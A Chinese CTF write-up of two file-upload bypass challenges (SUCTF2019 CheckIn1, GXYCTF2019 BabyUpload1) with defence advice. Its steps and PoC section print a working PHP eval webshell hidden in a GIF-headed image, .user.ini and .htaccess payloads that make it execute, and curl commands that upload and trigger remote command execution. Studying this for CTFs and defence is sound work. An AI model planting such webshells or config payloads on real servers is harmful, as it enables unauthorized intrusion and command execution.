[SUCTF2019 & GXYCTF2019] 文件上传绕过实战:图片马 + .user.ini / .htaccess 构造 PHP 后门

摘要

本文整合两道经典上传绕过题(SUCTF2019 CheckIn1、GXYCTF2019 BabyUpload1)的思路与复现:通过文件头伪装与图片马隐藏 PHP 代码,配合目录级配置文件(.user.ini 或 .htaccess)将图片当作 PHP 自动包含或强制解析,从而实现远程命令执行(RCE)。文中给出实验步骤、PoC 命令与防御建议,供安全学习和靶场复现使用(仅限授权范围)。

目录

  1. 背景与目标
  2. 关键原理解析
  3. 环境准备
  4. 攻击复现(两种路径)
    • 路径 A:.user.ini + 图片马(SUCTF CheckIn1)
    • 路径 B:.htaccess + 图片木马(GXYCTF BabyUpload1)
  5. PoC 命令与示例代码
  6. 防御与修复建议
  7. 总结与扩展

1. 背景与目标

文件上传是 Web 常见功能,也是大量漏洞来源。常见防护包括后缀白名单、Content-Type 校验、exif_imagetype() 等基于文件头的检测。两道题都考察如何在严格过滤下把一句话木马/后门放进服务器并执行,常见链路为:上传图片马(polyglot)+ 利用目录级配置文件(.user.ini 或 .htaccess)使其被包含或当作 PHP 解析 → 获取 WebShell → 读取 flag。


2. 关键原理解析

  • 文件头伪装:exif_imagetype() 等函数只看文件开头签名(magic bytes),可在 PHP 代码前加合法图片签名(例如 GIF89a)以通过检测。
  • 图片马(Polyglot):在合法图片末尾追加 PHP 代码,文件仍能被识别为图片,但被包含/解析时 PHP 会执行其中代码。
  • 目录级配置:
    • .user.ini(PHP-FPM/CGI):可设置 auto_prepend_file/auto_append_file,使指定文件在目录内的 PHP 执行前后被自动包含。需要 PHP 启用 user_ini.filename。
    • .htaccess(Apache):可用 AddType/SetHandler/ForceType 等指令把特定扩展名强制当作 PHP 解析。需 AllowOverride 允许相关指令。
  • 生效条件:.user.ini 仅在 CGI/FastCGI/Php-FPM 且用户级 ini 启用时生效;.htaccess 依赖 Apache 配置。上传目录权限与服务器配置会影响成功率。

3. 环境准备

  • 靶机:建议 Docker 搭建(nginx+php-fpm 或 Apache+php)。
  • 可上传的 Web 应用(带上传限制)。
  • 工具:curl、Burp Suite(抓包修改 Content-Type)、Python(生成图片马)、AntSword/Behinder(连接 webshell,可选)。
  • 示例一句话木马(仅用于授权测试):<?php @eval($_POST'cmd'); ?>

4. 攻击复现

路径 A:.user.ini + 图片马(SUCTF CheckIn1)

思路:上传一个带图片头的文件(前缀为图片签名),在末尾追加一句话木马;再上传 .user.ini 指向该文件(auto_prepend_file / auto_append_file),当访问目录下 PHP 文件时会包含并执行木马。

步骤:

  1. 生成图片马(示例命令):
    printf 'GIF89a' > mal.gif
    printf '<?php @eval($_POST"cmd"); ?>' >> mal.gif
  2. 上传 mal.gif 到目标上传目录(通过页面或绕过检测)。
  3. 创建 .user.ini 内容示例并上传到同一目录:
    auto_prepend_file = "mal.gif"
    (或 auto_append_file,根据场景选择)
  4. 访问目录下任意 PHP 文件并通过 POST 发送 cmd 参数触发执行:
    curl -d "cmd=system('id');" http://target/vuln.php

注意事项:.user.ini 的生效可能有缓存(user_ini.cache_ttl),并非立刻生效;且目标需启用 user_ini.filename。


路径 B:.htaccess + 图片木马(GXYCTF BabyUpload1)

思路:上传 .htaccess 将 .jpg/.png 强制当作 PHP 解析(AddType/SetHandler/ForceType),再上传图片木马(shell.jpg),访问该图片触发执行。

步骤:

  1. 准备图片木马(shell.jpg),方式同上(在图片末尾追加 PHP 代码)。
  2. 准备 .htaccess 示例(Apache 环境):
    AddType application/x-httpd-php .jpg

    <FilesMatch ".(jpg|png)$">
    SetHandler application/x-httpd-php
  3. 上传 .htaccess 与 shell.jpg(上传时可用 Burp 修改 Content-Type 为 image/jpeg 以绕过检测)。
  4. 访问 shell.jpg,如果生效则执行 PHP 代码:curl -d "cmd=phpinfo()" http://target/uploads/shell.jpg

注意事项:部分服务器禁止上传 .htaccess 或 Ignore .htaccess;上传 Content-Type 常被检测,需根据题目环境调整。


5. PoC 命令与示例代码

  • 生成图片马(Linux):
    printf 'GIF89a' > mal.gif
    printf '<?php @eval($_POST"cmd"); ?>' >> mal.gif
  • 上传文件(示例):
    curl -F "file=@mal.gif;type=image/gif" http://target/upload.php
  • 触发执行(示例):
    curl -d "cmd=phpinfo()" http://target/vuln.php
  • .user.ini 示例内容:
    auto_prepend_file = "mal.gif"
  • .htaccess 示例内容:
    AddType application/x-httpd-php .jpg

(在发布时请配合截图展示上传成功后的文件列表、.user.ini/.htaccess 内容与触发命令的响应截图)


6. 防御与修复建议

  • 不仅检查扩展名或 Content-Type,且不要单靠 exif_imagetype();使用更严格的文件解析库或对图片进行重新编码(重采样/重新生成)以去除尾部杂质。
  • 将上传目录设为不可执行(禁用 PHP 解析);通过服务器配置(nginx location /uploads { try_files $uri =404; } 或 Apache 配置)禁止执行脚本。
  • 关闭或限制目录级配置:在生产环境中可将 user_ini.filename 设为空以禁用 .user.ini,或禁止写入 .htaccess/.user.ini。
  • 对上传的文件统一重命名、存储到隔离目录并设置最小权限。
  • 增加监控:检测新增 .user.ini/.htaccess 与异常文件尾部数据、文件内容扫描等。
  • 对重要函数(eval/system/exec/passthru)进行安全策略或禁用(需谨慎评估影响)。
相关推荐
大圣编程3 小时前
Java 多维数组详解
java·开发语言
ylscode5 小时前
OpenSSH 10.4 正式发布:后量子加密落地,多项高危漏洞得到修复
网络·安全·网络安全
DianSan_ERP6 小时前
电商架构演进:如何在高并发场景下实现多平台API的标准化履约?
运维·前端·网络·安全·架构·自动化
殳翰6 小时前
下服务器端开发流程及相关工具介绍(C++)
开发语言·c++
落寞的星星7 小时前
这个对象就包含了已经转换好的DFA和各种词法分析器运转所需要的参数。下一步,我们就可以用ScannerInfo对象创建出Scanner对象,请看下面的代码:
开发语言·c#
nothing&nowhere7 小时前
用 Python 做问卷数据清洗:无效样本检测与处理实战
开发语言·python·数据清洗·数据处理·问卷星·问卷星脚本·刷问卷
2601_961593427 小时前
Rust 开发环境配置繁琐?RustRover 开箱即用搞定编码调试
开发语言·后端·macos·rust
搭贝8 小时前
低代码平台构建EHS环境健康安全管理系统:从隐患排查到合规审计的全流程实操指南
安全·低代码
HZZD_HZZD8 小时前
DL/T 645-2026新国标深度解读与智能电表协议适配实战:从帧结构变化到Java采集器升级的全链路改造方案
java·开发语言
多加点辣也没关系10 小时前
JavaScript|第4章:类型转换
开发语言·javascript